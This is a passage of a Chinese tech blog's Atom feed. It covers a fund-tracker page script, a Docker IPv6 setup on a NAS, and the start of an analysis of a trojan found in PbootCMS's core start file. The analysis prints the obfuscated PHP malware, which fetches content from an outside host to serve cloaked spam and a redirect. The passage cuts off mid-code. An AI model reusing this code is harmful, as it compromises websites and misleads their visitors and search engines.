class="string">&#x27;--&#x27;</span>&#125;</span>&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">        &lt;/tr&gt;`</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;).<span class="title function_">join</span>(<span class="string">&#x27;&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 生成汇总行</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> footer = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;summary-footer&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">    footer.<span class="property">innerHTML</span> = <span class="string">`</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">        &lt;tr&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td colspan=&quot;4&quot;&gt;总收益&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td class=&quot;<span class="subst">$&#123;total.profit &gt;= <span class="number">0</span> ? <span class="string">&#x27;positive&#x27;</span> : <span class="string">&#x27;negative&#x27;</span>&#125;</span>&quot;&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">                <span class="subst">$&#123;formatNumber(total.profit, <span class="number">2</span>)&#125;</span></span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">        &lt;/tr&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">        &lt;tr&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td colspan=&quot;4&quot;&gt;总收益率&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td class=&quot;<span class="subst">$&#123;total.profit &gt;= <span class="number">0</span> ? <span class="string">&#x27;positive&#x27;</span> : <span class="string">&#x27;negative&#x27;</span>&#125;</span>&quot;&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">                <span class="subst">$&#123;total.cost ? formatNumber((total.profit / total.cost) * <span class="number">100</span>, <span class="number">2</span>) + <span class="string">&#x27;%&#x27;</span> : <span class="string">&#x27;--&#x27;</span>&#125;</span></span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">            &lt;td&gt;&lt;/td&gt;</span></span></span><br><span class="line"><span class="string"><span class="language-javascript">        &lt;/tr&gt;`</span>;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 数字格式化</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">formatNumber</span>(<span class="params">num, digits</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> num.<span class="title function_">toLocaleString</span>(<span class="string">&#x27;zh-CN&#x27;</span>, &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">minimumFractionDigits</span>: digits,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">maximumFractionDigits</span>: digits</span></span><br><span class="line"><span class="language-javascript">    &#125;);</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 实时时钟</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">startClock</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">function</span> <span class="title function_">updateTime</span>(<span class="params"></span>) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;current-time&#x27;</span>).<span class="property">textContent</span> = </span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toLocaleString</span>(<span class="string">&#x27;zh-CN&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">    <span class="title function_">updateTime</span>();</span></span><br><span class="line"><span class="language-javascript">    <span class="built_in">setInterval</span>(updateTime, <span class="number">1000</span>);</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 错误显示</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">showError</span>(<span class="params">message</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">const</span> tbody = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;funds-body&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">    tbody.<span class="property">innerHTML</span> = <span class="string">`&lt;tr&gt;&lt;td colspan=&quot;6&quot; style=&quot;color:red&quot;&gt;<span class="subst">$&#123;message&#125;</span>&lt;/td&gt;&lt;/tr&gt;`</span>;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>‍</p>]]>
    </content>
    <id>https://careful.fyi/posts/1752563214/</id>
    <link href="https://careful.fyi/posts/1752563214/"/>
    <published>2025-07-15T07:06:54.000Z</published>
    <summary>
      <![CDATA[<p>今年开始理财，但因为购买渠道众多导致持仓比较分散需要打开各个 APP 查看盈亏情况，所以给博客加了一个自动更新持仓净值的页面（参考：<a href="https://careful.fyi/funds">示例页面</a>）。主要使用的是天天基金的 API 接口。</p>
<]]>
    </summary>
    <title>给博客添加一个自动更新基金持仓盈亏的页面</title>
    <updated>2026-03-05T07:08:57.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="Docker" scheme="https://careful.fyi/tags/Docker/"/>
    <category term="IPv6" scheme="https://careful.fyi/tags/IPv6/"/>
    <category term="绿联云" scheme="https://careful.fyi/tags/%E7%BB%BF%E8%81%94%E4%BA%91/"/>
    <category term="NAS" scheme="https://careful.fyi/tags/NAS/"/>
    <content>
      <![CDATA[<p>最近 NAS 系统由 Unraid 更换回绿联云，经过数个版本的迭代，绿联云的系统可用度还是蛮高的，在绿联云部署 qBittorrent 过程中发现下载很慢，仅能连接上 IPv4 的用户，qBittorrent 想要下载速度快，那开启 IPv6 是必须的。Docker 开启 IPv6 最简单的方法当然是使用 Host 网络，但因为 Host 网络端口不可控，所以个人习惯还是喜欢用默认的 Bridge 网络。</p><h2 id="开启-SSH"><a href="#开启-SSH" class="headerlink" title="开启 SSH"></a>开启 SSH</h2><p>绿联云的新系统开启 SSH 很简单，点击控制面板-终端机-把 SSH 勾上保存即可。打开任意 <code>bash</code> ​终端，使用 <code>ssh 管理员用户名@NAS IP</code> ​来登录，首次登录需要按提示键入 <code>yes</code>。</p><p>到这一步还没完，为了方便后续操作，需要使用 <code>sudo -i</code> ​来切换到 root 账户，这一步需要输入你管理员用户的密码。</p><h2 id="修改-daemon-json"><a href="#修改-daemon-json" class="headerlink" title="修改 daemon.json"></a>修改 daemon.json</h2><p>​<code>vi /etc/docker/daemon.json</code>​，将下面的配置加入配置文件中，按 <code>:wq</code> ​保存后，使用 <code>systemctl restart docker</code> ​重启 Docker 引擎即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;</span>ipv6<span class="string">&quot;&quot;</span>: <span class="literal">true</span>,</span><br><span class="line"><span class="string">&quot;&quot;</span>fixed-cidr-v6<span class="string">&quot;&quot;</span>: <span class="string">&quot;&quot;</span>fd00::/80<span class="string">&quot;&quot;</span>,</span><br><span class="line"><span class="string">&quot;&quot;</span>ip6tables<span class="string">&quot;&quot;</span>: <span class="literal">true</span>,</span><br><span class="line"><span class="string">&quot;&quot;</span>experimental<span class="string">&quot;&quot;</span>: <span class="literal">true</span></span><br></pre></td></tr></table></figure><p>贴一下最终完整版的 daemon.json 文件。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">        <span class="string">&quot;&quot;</span>data-root<span class="string">&quot;&quot;</span>: <span class="string">&quot;&quot;</span>/volume1/@docker<span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>experimental<span class="string">&quot;&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>fixed-cidr-v6<span class="string">&quot;&quot;</span>: <span class="string">&quot;&quot;</span>fd00::/<span class="number">80</span><span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>ip6tables<span class="string">&quot;&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>ipv6<span class="string">&quot;&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="string">&quot;&quot;</span>registry-mirrors<span class="string">&quot;&quot;</span>: [</span><br><span class="line">                <span class="string">&quot;&quot;</span>https:<span class="comment">//carefu.link/&quot;&quot;</span></span><br><span class="line">        ]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>完成后进入 Docker 容器内，此时已经可以成功 Ping 通 IPv6 地址了，因为这种方式是基于 IPv6 NAT，并不会为容器分配独立的 IPv6，容器是使用宿主机的 IPv6 对外通信，但对于 qBittorrent 这种程序来讲是足够了的，Tracker 中可以看到已经可以连上其他用户的 IPv6。</p>]]>
    </content>
    <id>https://careful.fyi/posts/1743759016/</id>
    <link href="https://careful.fyi/posts/1743759016/"/>
    <published>2025-04-04T09:30:16.000Z</published>
    <summary>
      <![CDATA[<p>最近 NAS 系统由 Unraid 更换回绿联云，经过数个版本的迭代，绿联云的系统可用度还是蛮高的，在绿联云部署 qBittorrent 过程中发现下载很慢，仅能连接上 IPv4 的用户，qBittorrent 想要下载速度快，那开启 IPv6 是必须的。Docker 开启]]>
    </summary>
    <title>绿联云Docker默认的Bridge网络开启IPv6</title>
    <updated>2026-02-28T05:23:47.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>谨行</name>
    </author>
    <category term="技术" scheme="https://careful.fyi/categories/%E6%8A%80%E6%9C%AF/"/>
    <category term="PHP" scheme="https://careful.fyi/tags/PHP/"/>
    <category term="木马分析" scheme="https://careful.fyi/tags/%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/"/>
    <category term="网站安全" scheme="https://careful.fyi/tags/%E7%BD%91%E7%AB%99%E5%AE%89%E5%85%A8/"/>
    <category term="恶意代码" scheme="https://careful.fyi/tags/%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81/"/>
    <category term="PbootCMS" scheme="https://careful.fyi/tags/PbootCMS/"/>
    <content>
      <![CDATA[<p>今天检查站点的时候，发现其中一个站点使用搜索引擎蜘蛛模拟访问时跳转到了色情网站，查看了下原代码，被挂马已经有一段时间了，相较以前遇到的木马病毒，这个病毒做的很隐蔽，作为管理者，很容易忽视，以下是木马核心文件以及分析，希望能为搜到这篇文章的你提供帮助。</p><h3 id="恶意代码分析"><a href="#恶意代码分析" class="headerlink" title="恶意代码分析"></a>恶意代码分析</h3><p>通过分析比对，病毒是通过篡改PbootCMS核心文件<code>/core/start.php</code>​来实现，代码中使用了大量的<code>goto</code>来混淆，不过好在有DeepSeek的协助，不用再手动去逆向病毒代码。</p><h4 id="源代码"><a href="#源代码" class="headerlink" title="源代码"></a>源代码</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@copyright</span> (C)2016-2099 Hnaoyun Inc.</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> XingMeng</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@email</span> hnxsh<span class="doctag">@foxmail</span>.com</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2016年11月5日</span></span><br><span class="line"><span class="comment"> *  内核启动文件，请使用入口文件对本文件进行引用即可</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 引入初始化文件</span></span><br><span class="line"><span class="keyword">require</span> <span class="title function_ invoke__">dirname</span>(<span class="keyword">__FILE__</span>) . <span class="string">&#x27;/init.php&#x27;</span>; <span class="keyword">goto</span> SKyXl; SKyXl: <span class="function"><span class="keyword">function</span> <span class="title">ILeMN</span>(<span class="params"><span class="variable">$bG2Ji</span></span>) </span>&#123; <span class="keyword">goto</span> M1G6I; lMSZk: <span class="title function_ invoke__">curl_close</span>(<span class="variable">$Q2Ooa</span>); <span class="keyword">goto</span> nyJgm; Lu8eC: <span class="variable">$uE3yz</span> = <span class="title function_ invoke__">curl_exec</span>(<span class="variable">$Q2Ooa</span>); <span class="keyword">goto</span> Fx40d; eQuEY: <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$Q2Ooa</span>, CURLOPT_HTTPHEADER, <span class="keyword">array</span>(<span class="string">&quot;&quot;</span>\<span class="number">130</span>\<span class="number">55</span>\x46\<span class="number">117</span>\<span class="number">122</span>\x57\x41\<span class="number">122</span>\x44\<span class="number">105</span>\<span class="number">104</span>\x2d\<span class="number">106</span>\x4f\<span class="number">122</span>\x3a\x20&#123;<span class="variable">$F2VI3</span>&#125;<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">130</span>\x2d\<span class="number">106</span>\x4f\<span class="number">122</span>\<span class="number">127</span>\<span class="number">101</span>\x52\x44\<span class="number">105</span>\<span class="number">104</span>\x2d\x48\x4f\x53\<span class="number">124</span>\x3a\<span class="number">40</span>&#123;<span class="variable">$UBzZA</span>&#125;<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x55\x73\<span class="number">145</span>\<span class="number">162</span>\x2d\<span class="number">101</span>\<span class="number">147</span>\<span class="number">145</span>\x6e\<span class="number">164</span>\x3a\<span class="number">40</span>&#123;<span class="variable">$uwXUP</span>&#125;<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x52\<span class="number">145</span>\<span class="number">146</span>\<span class="number">145</span>\x72\<span class="number">145</span>\x72\<span class="number">72</span>\<span class="number">40</span>&#123;<span class="variable">$yTJF_</span>&#125;<span class="string">&quot;&quot;</span>)); <span class="keyword">goto</span> Lu8eC; wi_zh: <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$Q2Ooa</span>, CURLOPT_FOLLOWLOCATION, <span class="literal">true</span>); <span class="keyword">goto</span> eQuEY; k7Lb0: <span class="variable">$yTJF_</span> = <span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">110</span>\<span class="number">124</span>\x54\x50\<span class="number">137</span>\x52\<span class="number">105</span>\x46\x45\<span class="number">122</span>\x45\x52<span class="string">&quot;&quot;</span>]) ? <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\x48\x54\<span class="number">124</span>\x50\x5f\<span class="number">122</span>\<span class="number">105</span>\<span class="number">106</span>\x45\x52\x45\<span class="number">122</span><span class="string">&quot;&quot;</span>] : <span class="string">&#x27;&#x27;</span>; <span class="keyword">goto</span> vrt84; KysSj: <span class="variable">$UBzZA</span> = <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\x48\x54\x54\x50\<span class="number">137</span>\x48\<span class="number">117</span>\<span class="number">123</span>\x54<span class="string">&quot;&quot;</span>]; <span class="keyword">goto</span> LNbyr; GJCJI: <span class="keyword">return</span> <span class="variable">$uE3yz</span>; <span class="keyword">goto</span> Xqar9; iC8cd: UDOSo: <span class="keyword">goto</span> lMSZk; PaIV_: <span class="keyword">return</span> <span class="string">&quot;&quot;</span>\x33\x30\<span class="number">62</span><span class="string">&quot;&quot;</span>; <span class="keyword">goto</span> itE5J; S20TX: <span class="variable">$ShTG7</span> = <span class="title function_ invoke__">curl_error</span>(<span class="variable">$Q2Ooa</span>); <span class="keyword">goto</span> iC8cd; itE5J: ijmuv: <span class="keyword">goto</span> GJCJI; j_wup: <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$Q2Ooa</span>, CURLOPT_TIMEOUT, <span class="number">10</span>); <span class="keyword">goto</span> wi_zh; q19p9: <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$Q2Ooa</span>, CURLOPT_URL, <span class="variable">$bG2Ji</span>); <span class="keyword">goto</span> NyKa0; NyKa0: <span class="title function_ invoke__">curl_setopt</span>(<span class="variable">$Q2Ooa</span>, CURLOPT_RETURNTRANSFER, <span class="literal">true</span>); <span class="keyword">goto</span> j_wup; HzzJc: <span class="keyword">return</span> <span class="string">&quot;&quot;</span>\<span class="number">60</span><span class="string">&quot;&quot;</span>; <span class="keyword">goto</span> N1ZE0; wh6yv: <span class="keyword">if</span> (!(<span class="variable">$Tq56w</span> == <span class="number">302</span>)) &#123; <span class="keyword">goto</span> ijmuv; &#125; <span class="keyword">goto</span> PaIV_; nyJgm: <span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$ShTG7</span>)) &#123; <span class="keyword">goto</span> OSs7P; &#125; <span class="keyword">goto</span> HzzJc; M1G6I: <span class="variable">$F2VI3</span> = <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\<span class="number">105</span>\x4d\x4f\<span class="number">124</span>\<span class="number">105</span>\<span class="number">137</span>\x41\x44\x44\<span class="number">122</span><span class="string">&quot;&quot;</span>]; <span class="keyword">goto</span> KysSj; Fx40d: <span class="variable">$Tq56w</span> = <span class="title function_ invoke__">curl_getinfo</span>(<span class="variable">$Q2Ooa</span>, CURLINFO_HTTP_CODE); <span class="keyword">goto</span> Z6mYd; N1ZE0: OSs7P: <span class="keyword">goto</span> wh6yv; Z6mYd: <span class="keyword">if</span> (!<span class="title function_ invoke__">curl_errno</span>(<span class="variable">$Q2Ooa</span>)) &#123; <span class="keyword">goto</span> UDOSo; &#125; <span class="keyword">goto</span> S20TX; LNbyr: <span class="variable">$uwXUP</span> = <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">110</span>\<span class="number">124</span>\x54\<span class="number">120</span>\x5f\x55\<span class="number">123</span>\x45\x52\<span class="number">137</span>\<span class="number">101</span>\x47\x45\x4e\<span class="number">124</span><span class="string">&quot;&quot;</span>]; <span class="keyword">goto</span> k7Lb0; vrt84: <span class="variable">$Q2Ooa</span> = <span class="title function_ invoke__">curl_init</span>(); <span class="keyword">goto</span> q19p9; Xqar9: &#125; <span class="keyword">goto</span> KpEmz; Rrl8j: <span class="variable">$uE3yz</span> = <span class="title function_ invoke__">IlemN</span>(<span class="variable">$bG2Ji</span>); <span class="keyword">goto</span> ih6fl; wFLEl: <span class="keyword">if</span> (!(<span class="variable">$uE3yz</span> == <span class="string">&quot;&quot;</span>\x33\<span class="number">60</span>\x32<span class="string">&quot;&quot;</span> || <span class="variable">$uE3yz</span> == <span class="string">&quot;&quot;</span>\<span class="number">60</span><span class="string">&quot;&quot;</span>)) &#123; <span class="keyword">goto</span> T2WuN; &#125; <span class="keyword">goto</span> mjGjt; NB4CX: <span class="variable">$Im9Mo</span> = <span class="title function_ invoke__">explode</span>(<span class="string">&quot;&quot;</span>\x76\x6f\x64\<span class="number">55</span><span class="string">&quot;&quot;</span>, <span class="variable">$uuRZd</span>); <span class="keyword">goto</span> oP077; kw3K0: <span class="variable">$bG2Ji</span> = <span class="string">&quot;&quot;</span>\<span class="number">150</span>\<span class="number">164</span>\<span class="number">164</span>\x70\<span class="number">72</span>\<span class="number">57</span>\x2f\x78\x70\x79\<span class="number">142</span>\x2e\<span class="number">141</span>\x78\<span class="number">152</span>\x73\<span class="number">143</span>\<span class="number">56</span>\x63\x6f\x6d\x2f\<span class="number">154</span>\<span class="number">151</span>\<span class="number">156</span>\<span class="number">153</span>\x2e\x70\x68\x70\<span class="number">77</span>\x64\<span class="number">151</span>\<span class="number">162</span>\x3d\<span class="number">57</span>\x69\<span class="number">156</span>\x64\x65\<span class="number">170</span>\<span class="number">56</span>\<span class="number">160</span>\x68\<span class="number">160</span>\x3f\<span class="number">166</span>\x6f\<span class="number">144</span>\x2d\x26\<span class="number">150</span>\<span class="number">157</span>\<span class="number">163</span>\x74\<span class="number">75</span><span class="string">&quot;&quot;</span> . <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\x48\x54\<span class="number">124</span>\<span class="number">120</span>\<span class="number">137</span>\<span class="number">110</span>\<span class="number">117</span>\x53\<span class="number">124</span><span class="string">&quot;&quot;</span>]; <span class="keyword">goto</span> Rrl8j; I1t_J: <span class="variable">$uuRZd</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&quot;&quot;</span>\x73<span class="string">&quot;&quot;</span>]) ? <span class="variable">$_GET</span>[<span class="string">&quot;&quot;</span>\x73<span class="string">&quot;&quot;</span>] : <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\<span class="number">105</span>\x51\<span class="number">125</span>\<span class="number">105</span>\<span class="number">123</span>\x54\x5f\<span class="number">125</span>\<span class="number">122</span>\<span class="number">111</span><span class="string">&quot;&quot;</span>]; <span class="keyword">goto</span> E6cYf; KpEmz: <span class="function"><span class="keyword">function</span> <span class="title">stoiq</span>(<span class="params"></span>) </span>&#123; <span class="keyword">goto</span> HFU0s; Yv708: <span class="keyword">return</span> <span class="variable">$YEgWn</span>; <span class="keyword">goto</span> dvNU2; q8eA5: <span class="variable">$YEgWn</span> = <span class="string">&quot;&quot;</span>\x31\x32\x37\x2e\<span class="number">60</span>\x2e\<span class="number">60</span>\<span class="number">56</span>\<span class="number">61</span><span class="string">&quot;&quot;</span>; <span class="keyword">goto</span> UrqfE; ZKYMq: <span class="keyword">goto</span> we3q4; <span class="keyword">goto</span> nd2KY; KT6Mw: <span class="keyword">goto</span> we3q4; <span class="keyword">goto</span> JtbJy; UrqfE: we3q4: <span class="keyword">goto</span> Yv708; HFU0s: <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\<span class="number">105</span>\<span class="number">115</span>\<span class="number">117</span>\<span class="number">124</span>\<span class="number">105</span>\<span class="number">137</span>\x41\<span class="number">104</span>\<span class="number">104</span>\<span class="number">122</span><span class="string">&quot;&quot;</span>]) &amp;&amp; <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\<span class="number">105</span>\x4d\<span class="number">117</span>\x54\x45\<span class="number">137</span>\x41\x44\x44\x52<span class="string">&quot;&quot;</span>] &amp;&amp; <span class="title function_ invoke__">strcasecmp</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\<span class="number">105</span>\x4d\<span class="number">117</span>\<span class="number">124</span>\x45\x5f\x41\x44\x44\x52<span class="string">&quot;&quot;</span>], <span class="string">&quot;&quot;</span>\<span class="number">165</span>\x6e\x6b\<span class="number">156</span>\<span class="number">157</span>\x77\<span class="number">156</span><span class="string">&quot;&quot;</span>)) &#123; <span class="keyword">goto</span> xbB89; &#125; <span class="keyword">goto</span> hRHnT; GdgPs: <span class="variable">$YEgWn</span> = <span class="string">&quot;&quot;</span>\<span class="number">60</span>\<span class="number">56</span>\x30\<span class="number">56</span>\<span class="number">60</span>\x2e\x30<span class="string">&quot;&quot;</span>; <span class="keyword">goto</span> KT6Mw; nd2KY: k7h9_: <span class="keyword">goto</span> q8eA5; hRHnT: <span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\x45\x4d\<span class="number">117</span>\x54\x45\<span class="number">137</span>\x41\x44\x44\x52<span class="string">&quot;&quot;</span>])) &#123; <span class="keyword">goto</span> k7h9_; &#125; <span class="keyword">goto</span> GdgPs; JtbJy: xbB89: <span class="keyword">goto</span> Jc97o; Jc97o: <span class="variable">$YEgWn</span> = <span class="variable">$_SERVER</span>[<span class="string">&quot;&quot;</span>\<span class="number">122</span>\x45\<span class="number">115</span>\x4f\x54\<span class="number">105</span>\<span class="number">137</span>\<span class="number">101</span>\<span class="number">104</span>\x44\<span class="number">122</span><span class="string">&quot;&quot;</span>]; <span class="keyword">goto</span> ZKYMq; dvNU2: &#125; <span class="keyword">goto</span> yswN0; jUR_o: <span class="title function_ invoke__">ob_flush</span>(); <span class="keyword">goto</span> EbrH5; Z2AmM: <span class="title function_ invoke__">header</span>(<span class="string">&quot;&quot;</span>\x43\<span class="number">157</span>\<span class="number">156</span>\<span class="number">164</span>\x65\x6e\<span class="number">164</span>\<span class="number">55</span>\<span class="number">124</span>\x79\x70\<span class="number">145</span>\x3a\<span class="number">40</span>\<span class="number">164</span>\<span class="number">145</span>\<span class="number">170</span>\x74\<span class="number">57</span>\x68\<span class="number">164</span>\<span class="number">155</span>\x6c\x3b\<span class="number">40</span>\x63\x68\<span class="number">141</span>\<span class="number">162</span>\x73\<span class="number">145</span>\x74\<span class="number">75</span>\x75\x74\x66\x2d\<span class="number">70</span><span class="string">&quot;&quot;</span>); <span class="keyword">goto</span> NB4CX; BFp62: <span class="title function_ invoke__">header</span>(<span class="string">&quot;&quot;</span>\<span class="number">114</span>\<span class="number">157</span>\x63\x61\x74\<span class="number">151</span>\<span class="number">157</span>\x6e\<span class="number">72</span>\x20\x2f<span class="string">&quot;&quot;</span>); <span class="keyword">goto</span> UyxKv; oP077: <span class="variable">$bG2Ji</span> = <span class="string">&quot;&quot;</span>\<span class="number">150</span>\x74\x74\<span class="number">160</span>\x3a\x2f\<span class="number">57</span>\x78\<span class="number">160</span>\<span class="number">171</span>\<span class="number">142</span>\<span class="number">56</span>\x61\<span class="number">170</span>\x6a\x73\x63\x2e\x63\<span class="number">157</span>\x6d\x2f<span class="string">&quot;&quot;</span> . <span class="variable">$Im9Mo</span>[<span class="number">1</span>]; <span class="keyword">goto</span> qChcq; mjGjt: <span class="title function_ invoke__">http_response_code</span>(<span class="number">404</span>); <span class="keyword">goto</span> BFp62; K7WkI: <span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>); <span class="keyword">goto</span> bhD8E; M3PHV: nPTVr: <span class="keyword">goto</span> J6HZq; E6cYf: <span class="keyword">if</span> (!(<span class="title function_ invoke__">strpos</span>(<span class="variable">$uuRZd</span>, <span class="string">&quot;&quot;</span>\x76\x6f\x64\<span class="number">55</span><span class="string">&quot;&quot;</span>) !== <span class="literal">false</span>)) &#123; <span class="keyword">goto</span> nPTVr; &#125; <span class="keyword">goto</span> Z2AmM; ih6fl: <span class="keyword">echo</span> <span class="variable">$uE3yz</span>; <span class="keyword">goto</span> jUR_o; PrbS0: <span class="variable">$uE3yz</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;&quot;</span>\<span class="number">57</span>\x64\x65\<span class="number">164</span>\x61\x69\<span class="number">154</span>\x2d<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\<span class="number">57</span>\x69\x6e\<span class="number">144</span>\x65\<span class="number">170</span>\x2e\<span class="number">160</span>\<span class="number">150</span>\<span class="number">160</span>\x3f\<span class="number">166</span>\<span class="number">157</span>\<span class="number">144</span>\x2d\<span class="number">144</span>\<span class="number">145</span>\<span class="number">164</span>\x61\x69\x6c\x2d<span class="string">&quot;&quot;</span>, <span class="variable">$uE3yz</span>); <span class="keyword">goto</span> pJjFv; bhD8E: @<span class="title function_ invoke__">chmod</span>(<span class="keyword">__FILE__</span>, <span class="number">0444</span>); <span class="keyword">goto</span> I1t_J; vFmB7: <span class="keyword">exit</span>; <span class="keyword">goto</span> M3PHV; qChcq: <span class="variable">$uE3yz</span> = <span class="title function_ invoke__">ileMN</span>(<span class="variable">$bG2Ji</span>); <span class="keyword">goto</span> wFLEl; jPXTB: <span class="variable">$uE3yz</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;&quot;</span>\<span class="number">57</span>\x74\<span class="number">171</span>\x70\x2d<span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>\x2f\<span class="number">151</span>\x6e\<span class="number">144</span>\x65\<span class="number">170</span>\<span class="number">56</span>\<span class="number">160</span>\x68\x70\x3f\x76\<span class="number">157</span>\<span class="number">144</span>\x2d\<span class="number">164</span>\<span class="number">171</span>\x70\x2d<span class="string">&quot;&quot;</span>, <span class="variable">$uE3yz</span>); <span class="keyword">goto</span> PrbS0; UyxKv: <span class="keyword">exit</span>; <span class="keyword">goto</span> TEXVu; yswN0: <span class="function"><span class="keyword">function</span> <span class="title">PytNI</span>(<span class="params"></span>) </span>&#123; <span class="keyword">goto</span> b1ruM; D2Ys6: <span class="keyword">if</span> (!(<span class="title function_ invoke__">strpos</span>(<span class="variable">$ZxbhK</span>, <span class="string">&quot;&quot;</span>\<span class="number">150</span>\<span class="number">164</span>\x74\<span class="number">160</span>\<span class="number">72</span>\<span 